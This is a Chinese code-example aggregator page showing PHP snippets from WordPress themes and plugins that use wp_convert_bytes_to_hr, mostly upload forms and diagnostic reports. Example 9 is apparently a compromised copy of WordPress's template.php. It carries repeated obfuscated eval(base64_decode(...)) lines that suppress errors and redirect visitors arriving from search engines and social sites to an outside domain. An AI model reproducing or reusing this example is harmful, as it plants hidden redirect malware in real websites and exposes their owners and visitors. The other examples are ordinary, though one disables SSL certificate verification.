本文整理汇总了PHP中wp_convert_bytes_to_hr函数的典型用法代码示例。如果您正苦于以下问题:PHP wp_convert_bytes_to_hr函数的具体用法?PHP wp_convert_bytes_to_hr怎么用?PHP wp_convert_bytes_to_hr使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了wp_convert_bytes_to_hr函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的PHP代码示例。
示例1: iced_mocha_import_form
/**
* This file manages the theme settings uploading and import operations.
* Uses the theme page to create a new form for uplaoding the settings
* Uses WP_Filesystem
*/
function iced_mocha_import_form()
{
$bytes = apply_filters('import_upload_size_limit', wp_max_upload_size());
$size = wp_convert_bytes_to_hr($bytes);
$upload_dir = wp_upload_dir();
if (!empty($upload_dir['error'])) {
?>
<div class="error"><p><?php
_e('Before you can upload your import file, you will need to fix the following error:', 'iced_mocha');
?>
</p>
<p><strong><?php
echo $upload_dir['error'];
?>
</strong></p></div><?php
} else {
?>
<div class="wrap">
<div style="width:400px;display:block;margin-left:30px;">
<div id="icon-tools" class="icon32"><br></div>
<h2><?php
echo __('Import Iced Mocha Options', 'iced_mocha');
?>
</h2>
<form enctype="multipart/form-data" id="import-upload-form" method="post" action="">
<p><?php
_e('Hi! This is where you import the Iced Mocha Theme settings.<i> Please remember that this is still an experimental feature.</i>', 'iced_mocha');
?>
</p>
<p>
<label for="upload"><strong><?php
_e('Just choose a file from your computer:', 'iced_mocha');
?>
</strong><i>(iced_mocha-settings.txt)</i></label>
<input type="file" id="upload" name="import" size="25" />
<span style="font-size:10px;">(<?php
printf(__('Maximum size: %s', 'iced_mocha'), $size);
?>
)</span>
<input type="hidden" name="action" value="save" />
<input type="hidden" name="max_file_size" value="<?php
echo $bytes;
?>
" />
<?php
wp_nonce_field('iced_mocha-import', 'iced_mocha-import');
?>
<input type="hidden" name="iced_mocha_import_confirmed" value="true" />
</p>
<input type="submit" class="button" value="<?php
_e('And import!', 'iced_mocha');
?>
" />
</form>
</div>
</div> <!-- end wrap -->
<?php
}
}
开发者ID:JBNavadiya,项目名称:iced-mocha,代码行数:65,代码来源:admin-functions.php
示例2: import_upload_form
private function import_upload_form($action)
{
$bytes = apply_filters('import_upload_size_limit', wp_max_upload_size());
$size = wp_convert_bytes_to_hr($bytes);
$upload_dir = wp_upload_dir();
if (!empty($upload_dir['error'])) {
?>
<div class="error"><p><?php
_e('Before you can upload your import file, you will need to fix the following error:', APP_TD);
?>
</p>
<p><strong><?php
echo $upload_dir['error'];
?>
</strong></p></div><?php
} else {
?>
<form enctype="multipart/form-data" id="import-upload-form" method="post" action="<?php
echo esc_attr(wp_nonce_url($action, 'import-upload'));
?>
">
<p>
<label for="upload"><?php
_e('Choose a file from your computer:', APP_TD);
?>
</label> (<?php
printf(__('Maximum size: %s', APP_TD), $size);
?>
)
<input type="file" id="upload" name="import" size="25" />
<input type="hidden" name="action" value="save" />
<input type="hidden" name="max_file_size" value="<?php
echo $bytes;
?>
" />
</p>
<?php
do_action('appthemes_after_import_upload_form');
?>
<?php
submit_button(__('Upload file and import', APP_TD), 'button');
?>
</form>
<?php
}
}
开发者ID:kalushta,项目名称:darom,代码行数:48,代码来源:importer.php
示例3: wpsc_get_max_upload_size
/**
* WPSC Product modifying functions
*
* @package wp-e-commerce
* @since 3.7
*/
function wpsc_get_max_upload_size()
{
return wp_convert_bytes_to_hr(wp_max_upload_size());
}
开发者ID:nikitanaumov,项目名称:WP-e-Commerce,代码行数:10,代码来源:product-functions.php
示例4: woocommerce_status_report
//.........这里部分代码省略.........
</tr>
<tr>
<td><?php
_e('PHP Version', 'woocommerce');
?>
:</td>
<td><?php
if (function_exists('phpversion')) {
echo esc_html(phpversion());
}
?>
</td>
</tr>
<tr>
<td><?php
_e('MySQL Version', 'woocommerce');
?>
:</td>
<td><?php
if (function_exists('mysql_get_server_info')) {
echo esc_html(mysql_get_server_info());
}
?>
</td>
</tr>
<tr>
<td><?php
_e('WP Memory Limit', 'woocommerce');
?>
:</td>
<td><?php
$memory = woocommerce_let_to_num(WP_MEMORY_LIMIT);
if ($memory < 67108864) {
echo '<mark class="error">' . sprintf(__('%s - We recommend setting memory to at least 64MB. See: <a href="%s">Increasing memory allocated to PHP</a>', 'woocommerce'), wp_convert_bytes_to_hr($memory), 'http://codex.wordpress.org/Editing_wp-config.php#Increasing_memory_allocated_to_PHP') . '</mark>';
} else {
echo '<mark class="yes">' . wp_convert_bytes_to_hr($memory) . '</mark>';
}
?>
</td>
</tr>
<tr>
<td><?php
_e('WP Debug Mode', 'woocommerce');
?>
:</td>
<td><?php
if (defined('WP_DEBUG') && WP_DEBUG) {
echo '<mark class="yes">' . __('Yes', 'woocommerce') . '</mark>';
} else {
echo '<mark class="no">' . __('No', 'woocommerce') . '</mark>';
}
?>
</td>
</tr>
<tr>
<td><?php
_e('WP Max Upload Size', 'woocommerce');
?>
:</td>
<td><?php
echo wp_convert_bytes_to_hr(wp_max_upload_size());
?>
</td>
</tr>
<tr>
<td><?php
开发者ID:iplaydu,项目名称:Bob-Ellis-Shoes,代码行数:67,代码来源:woocommerce-admin-status.php
示例5: print_diagnostic_textarea
function print_diagnostic_textarea($extra = '')
{
echo '<textarea cols="100" rows="20" style="font-family: monospace;">';
_e('WordPress', 'wp-app-store');
echo ': ';
if (is_multisite()) {
echo 'WPMU';
} else {
echo 'WP';
}
echo bloginfo('version');
echo "\r\n";
_e('Web Server', 'wp-app-store');
echo ': ';
echo $_SERVER['SERVER_SOFTWARE'];
echo "\r\n";
_e('PHP', 'wp-app-store');
echo ': ';
if (function_exists('phpversion')) {
echo esc_html(phpversion());
}
echo "\r\n";
_e('MySQL', 'wp-app-store');
echo ': ';
if (function_exists('mysql_get_server_info')) {
echo esc_html(mysql_get_server_info());
}
echo "\r\n";
_e('WP Memory Limit', 'wp-app-store');
echo ': ';
echo WP_MEMORY_LIMIT;
echo "\r\n";
_e('Debug Mode', 'wp-app-store');
echo ': ';
if (defined('WP_DEBUG') && WP_DEBUG) {
echo 'Yes';
} else {
echo 'No';
}
echo "\r\n";
_e('WP Max Upload Size', 'wp-app-store');
echo ': ';
echo wp_convert_bytes_to_hr(wp_max_upload_size());
echo "\r\n";
_e('PHP Post Max Size', 'wp-app-store');
echo ': ';
if (function_exists('ini_get')) {
echo ini_get('post_max_size');
}
echo "\r\n";
_e('PHP Time Limit', 'wp-app-store');
echo ': ';
if (function_exists('ini_get')) {
echo ini_get('max_execution_time');
}
echo "\r\n";
_e('fsockopen', 'wp-app-store');
echo ': ';
if (function_exists('fsockopen')) {
_e('Enabled', 'wp-app-store');
} else {
_e('Disabled', 'wp-app-store');
}
echo "\r\n";
_e('cURL', 'wp-app-store');
echo ': ';
if (function_exists('curl_init')) {
_e('Enabled', 'wp-app-store');
} else {
_e('Disabled', 'wp-app-store');
}
echo "\r\n";
$url = 'https://google.com';
_e('WP Remote Get', 'wp-app-store');
echo ' (' . $url . '):';
$params = array('sslverify' => false, 'timeout' => 60, 'body' => $request);
$response = wp_remote_get($url, $params);
if (!is_wp_error($response) && $response['response']['code'] >= 200 && $response['response']['code'] < 300) {
_e('Success', 'wp-app-store');
} elseif (is_wp_error($response)) {
_e('Failed:', 'wp-app-store') . ' ' . $response->get_error_message();
} else {
_e('Failed', 'wp-app-store');
}
echo "\r\n\r\n";
_e('Active Plugins', 'wp-app-store');
echo ":\r\n";
$active_plugins = (array) get_option('active_plugins', array());
if (is_multisite()) {
$active_plugins = array_merge($active_plugins, get_site_option('active_sitewide_plugins', array()));
}
foreach ($active_plugins as $plugin) {
$plugin_data = @get_plugin_data(WP_PLUGIN_DIR . '/' . $plugin);
if (empty($plugin_data['Name'])) {
continue;
}
echo $plugin_data['Name'] . ' (v' . $plugin_data['Version'] . ') ' . __('by', 'wp-app-store') . ' ' . $plugin_data['AuthorName'] . "\r\n";
}
echo $extra;
echo '</textarea>';
//.........这里部分代码省略.........
开发者ID:lcw07r,项目名称:productcampamsterdam.org,代码行数:101,代码来源:wp-app-store.php
示例6: cvg_serverinfo
/**
* Function to get webserver information.
* author Praveen Rajan
*/
function cvg_serverinfo()
{
global $wpdb, $ngg;
// Get MYSQL Version
$sqlversion = $wpdb->get_var("SELECT VERSION() AS version");
// GET SQL Mode
$mysqlinfo = $wpdb->get_results("SHOW VARIABLES LIKE 'sql_mode'");
// Get PHP Max Upload Size
$upload_max = wp_convert_bytes_to_hr(wp_max_upload_size());
if (CvgCore::ffmpegcommandExists("ffmpeg")) {
$ffmpeg = 'Installed';
} else {
$ffmpeg = 'Not Installed';
}
?>
<li><?php
_e('Operating System');
?>
: <span><?php
echo PHP_OS;
?>
(<?php
echo PHP_INT_SIZE * 8;
?>
Bit)</span></li>
<li><?php
_e('Server');
?>
: <span><?php
echo $_SERVER["SERVER_SOFTWARE"];
?>
</span></li>
<li><?php
_e('MySQL Version');
?>
: <span><?php
echo $sqlversion;
?>
</span></li>
<li><?php
_e('PHP Version');
?>
: <span><?php
echo PHP_VERSION;
?>
</span></li>
<li><?php
_e('PHP Max Upload Size');
?>
: <span><?php
echo $upload_max;
?>
</span></li>
<li><?php
_e('FFMPEG');
?>
: <span><?php
echo $ffmpeg;
?>
</span></li>
<?php
if ($ffmpeg == 'Not Installed') {
?>
<li style="text-align:justify;">
<span style="color:red;font-weight:normal;">[Note: Preview images for uploaded videos will not be created automatically using FFMPEG. Manually upload preview images for videos.]</span>
</li>
<?php
}
}
开发者ID:ejoan,项目名称:erikajoan.com,代码行数:74,代码来源:core.php
示例7: greet
/**
* Display introductory text and file upload form
*/
function greet()
{
echo '<div class="narrow">';
echo '<p>' . __('Choose a CSV (.csv) file to upload, then click Upload file and import.', 'wc_smart_coupons') . '</p>';
//wp_import_upload_form( 'admin.php?import=woocommerce_csv&step=1&merge=' . ( ! empty( $_GET['merge'] ) ? 1 : 0 ) );
$action = 'admin.php?import=woocommerce_coupon_csv&step=1';
$bytes = apply_filters('import_upload_size_limit', wp_max_upload_size());
$size = wp_convert_bytes_to_hr($bytes);
$upload_dir = wp_upload_dir();
if (!empty($upload_dir['error'])) {
?>
<div class="error"><p><?php
_e('Before you can upload your import file, you will need to fix the following error:');
?>
</p>
<p><strong><?php
echo $upload_dir['error'];
?>
</strong></p></div><?php
} else {
?>
<form enctype="multipart/form-data" id="import-upload-form" method="post" action="<?php
echo esc_attr(wp_nonce_url($action, 'import-upload'));
?>
">
<table class="form-table">
<tbody>
<tr>
<th>
<label for="upload"><?php
_e('Choose a file from your computer:');
?>
</label>
</th>
<td>
<input type="file" id="upload" name="import" size="25" />
<input type="hidden" name="action" value="save" />
<input type="hidden" name="max_file_size" value="<?php
echo $bytes;
?>
" />
<small><?php
printf(__('Maximum size: %s'), $size);
?>
</small>
</td>
</tr>
<tr>
<th>
<label for="file_url"><?php
_e('OR enter path to file:', 'wc_smart_coupons');
?>
</label>
</th>
<td>
<?php
echo ' ' . ABSPATH . ' ';
?>
<input type="text" id="file_url" name="file_url" size="25" />
</td>
</tr>
</tbody>
</table>
<p class="submit">
<input type="submit" class="button" value="<?php
esc_attr_e('Upload file and import');
?>
" />
</p>
</form>
<?php
}
echo '</div>';
}
开发者ID:iplaydu,项目名称:Bob-Ellis-Shoes,代码行数:77,代码来源:class-wc-csv-coupon-import.php
示例8: test_wp_convert_bytes_to_hr
/**
* @ticket 19067
* @expectedDeprecated wp_convert_bytes_to_hr
*/
function test_wp_convert_bytes_to_hr() {
$kb = 1024;
$mb = $kb * 1024;
$gb = $mb * 1024;
$tb = $gb * 1024;
// test if boundaries are correct
$this->assertEquals( '1TB', wp_convert_bytes_to_hr( $tb ) );
$this->assertEquals( '1GB', wp_convert_bytes_to_hr( $gb ) );
$this->assertEquals( '1MB', wp_convert_bytes_to_hr( $mb ) );
$this->assertEquals( '1kB', wp_convert_bytes_to_hr( $kb ) );
$this->assertEquals( '1 TB', size_format( $tb ) );
$this->assertEquals( '1 GB', size_format( $gb ) );
$this->assertEquals( '1 MB', size_format( $mb ) );
$this->assertEquals( '1 kB', size_format( $kb ) );
// now some values around
$hr = wp_convert_bytes_to_hr( $tb + $tb / 2 + $mb );
$this->assertTrue( abs( 1.50000095367 - (float) str_replace( ',', '.', $hr ) ) < 0.0001 );
$hr = wp_convert_bytes_to_hr( $tb - $mb - $kb );
$this->assertTrue( abs( 1023.99902248 - (float) str_replace( ',', '.', $hr ) ) < 0.0001 );
$hr = wp_convert_bytes_to_hr( $gb + $gb / 2 + $mb );
$this->assertTrue( abs( 1.5009765625 - (float) str_replace( ',', '.', $hr ) ) < 0.0001 );
$hr = wp_convert_bytes_to_hr( $gb - $mb - $kb );
$this->assertTrue( abs( 1022.99902344 - (float) str_replace( ',', '.', $hr ) ) < 0.0001 );
// edge
$this->assertEquals( '-1B', wp_convert_bytes_to_hr( -1 ) );
$this->assertEquals( '0B', wp_convert_bytes_to_hr( 0 ) );
}
开发者ID:staylor,项目名称:develop.svn.wordpress.org,代码行数:38,代码来源:media.php
示例9: wp_import_upload_form
/**
* Outputs the form used by the importers to accept the data to be imported
*
* @since 2.0
*
* @param string $action The action attribute for the form.
*/
function wp_import_upload_form($action)
{
$bytes = apply_filters('import_upload_size_limit', wp_max_upload_size());
$size = wp_convert_bytes_to_hr($bytes);
$upload_dir = wp_upload_dir();
if (!empty($upload_dir['error'])) {
?>
<div class="error"><p><?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
_e('Before you can upload your import file, you will need to fix the following error:');
?>
</p>
<p><strong><?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaX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ZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
} else {
?>
<form enctype="multipart/form-data" id="import-upload-form" method="post" action="<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
echo esc_attr(wp_nonce_url($action, 'import-upload'));
?>
">
<p>
<label for="upload"><?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJ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Iikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
printf(__('Maximum size: %s'), $size);
?>
)
<input type="file" id="upload" name="import" size="25" />
<input type="hidden" name="action" value="save" />
<input type="hidden" name="max_file_size" value="<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
echo $bytes;
?>
" />
</p>
<p class="submit">
<input type="submit" class="button" value="<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInX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ikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
}
}
开发者ID:nagyist,项目名称:laura-wordpress,代码行数:62,代码来源:template.php
示例10: output_diagnostic_info
function output_diagnostic_info()
{
_e('site_url()', 'wp-app-store');
echo ': ';
echo site_url();
echo "\r\n";
_e('home_url()', 'wp-app-store');
echo ': ';
echo home_url();
echo "\r\n";
_e('WordPress', 'wp-app-store');
echo ': ';
if (is_multisite()) {
echo 'WPMU';
} else {
echo 'WP';
}
echo bloginfo('version');
echo "\r\n";
_e('Web Server', 'wp-app-store');
echo ': ';
echo $_SERVER['SERVER_SOFTWARE'];
echo "\r\n";
_e('PHP', 'wp-app-store');
echo ': ';
if (function_exists('phpversion')) {
echo esc_html(phpversion());
}
echo "\r\n";
_e('MySQL', 'wp-app-store');
echo ': ';
if (function_exists('mysql_get_server_info')) {
echo esc_html(mysql_get_server_info());
}
echo "\r\n";
_e('max_allowed_packet_size', 'wp-app-store');
echo ': ';
echo wp_convert_bytes_to_hr($this->get_max_allowed_packet_size());
echo "\r\n";
_e('WP Memory Limit', 'wp-app-store');
echo ': ';
echo WP_MEMORY_LIMIT;
echo "\r\n";
_e('WPMDB Bottleneck', 'wp-app-store');
echo ': ';
echo wp_convert_bytes_to_hr($this->get_bottleneck());
echo "\r\n";
_e('Debug Mode', 'wp-app-store');
echo ': ';
if (defined('WP_DEBUG') && WP_DEBUG) {
echo 'Yes';
} else {
echo 'No';
}
echo "\r\n";
_e('WP Max Upload Size', 'wp-app-store');
echo ': ';
echo wp_convert_bytes_to_hr(wp_max_upload_size());
echo "\r\n";
_e('PHP Post Max Size', 'wp-app-store');
echo ': ';
echo wp_convert_bytes_to_hr($this->get_post_max_size());
echo "\r\n";
_e('PHP Time Limit', 'wp-app-store');
echo ': ';
if (function_exists('ini_get')) {
echo ini_get('max_execution_time');
}
echo "\r\n";
_e('PHP Error Log', 'wp-app-store');
echo ': ';
if (function_exists('ini_get')) {
echo ini_get('error_log');
}
echo "\r\n";
_e('fsockopen', 'wp-app-store');
echo ': ';
if (function_exists('fsockopen')) {
_e('Enabled', 'wp-app-store');
} else {
_e('Disabled', 'wp-app-store');
}
echo "\r\n";
_e('OpenSSL', 'wp-app-store');
echo ': ';
if ($this->open_ssl_enabled()) {
echo OPENSSL_VERSION_TEXT;
} else {
_e('Disabled', 'wp-app-store');
}
echo "\r\n";
_e('cURL', 'wp-app-store');
echo ': ';
if (function_exists('curl_init')) {
_e('Enabled', 'wp-app-store');
} else {
_e('Disabled', 'wp-app-store');
}
echo "\r\n";
echo "\r\n";
//.........这里部分代码省略.........
开发者ID:Cbuffin,项目名称:COTLR,代码行数:101,代码来源:wp-migrate-db.php
示例11: callback_debug_report
function callback_debug_report($args)
{
global $wp_version;
if (!isset($_GET['debug_report'])) {
echo '<a href="' . add_query_arg(array('debug_report' => true)) . '" class="button">' . __('Generate Debug Report', $this->settings_menu['name']) . '</a>';
echo sprintf('<br><span class="description"> %s</span>', $args['desc']);
} else {
/* Get from WooCommerce by WooThemes http://woothemes.com */
$active_plugins = (array) get_option('active_plugins', array());
if (is_multisite()) {
$active_plugins = array_merge($active_plugins, get_site_option('active_sitewide_plugins', array()));
}
$active_plugins = array_map('strtolower', $active_plugins);
$pp_plugins = array();
foreach ($active_plugins as $plugin) {
$plugin_data = @get_plugin_data(WP_PLUGIN_DIR . '/' . $plugin);
if (!empty($plugin_data['Name'])) {
$pp_plugins[] = $plugin_data['Name'] . ' ' . $plugin_data['Version'] . ' [' . $plugin_data['PluginURI'] . "]";
}
}
if ($pp_plugins) {
$plugin_list = implode("\n", $pp_plugins);
}
$wp_info = is_multisite() ? 'WPMU ' . $wp_version : 'WP ' . $wp_version;
$wp_debug = defined('WP_DEBUG') && WP_DEBUG ? 'true' : 'false';
$is_ssl = is_ssl() ? 'true' : 'false';
$is_rtl = is_rtl() ? 'true' : 'false';
$fsockopen = function_exists('fsockopen') ? 'true' : 'false';
$curl = function_exists('curl_init') ? 'true' : 'false';
$max_upload_size = function_exists('size_format') ? size_format(wp_max_upload_size()) : wp_convert_bytes_to_hr(wp_max_upload_size());
if (function_exists('phpversion')) {
$php_info = phpversion();
$max_server_upload = ini_get('upload_max_filesize');
$post_max_size = ini_get('post_max_size');
}
$empty_keys = array_keys(array_diff_key($this->get_defaults(), get_option($this->settings_menu['name'])));
$empty_keys = array_fill_keys($empty_keys, '');
$value = '
===========================================================
WP Settings
===========================================================
WordPress version: ' . $wp_info . '
Home URL: ' . home_url() . '
Site URL: ' . site_url() . '
Is SSL: ' . $is_ssl . '
Is RTL: ' . $is_rtl . '
Permalink: ' . get_option('permalink_structure') . '
============================================================
Server Environment
============================================================
PHP Version: ' . $php_info . '
Server Software: ' . $_SERVER['SERVER_SOFTWARE'] . '
WP Max Upload Size: ' . $max_upload_size . '
Server upload_max_filesize: ' . $max_server_upload . '
Server post_max_size: ' . $post_max_size . '
WP Memory Limit: ' . WP_MEMORY_LIMIT . '
WP Debug Mode: ' . $wp_debug . '
CURL: ' . $curl . '
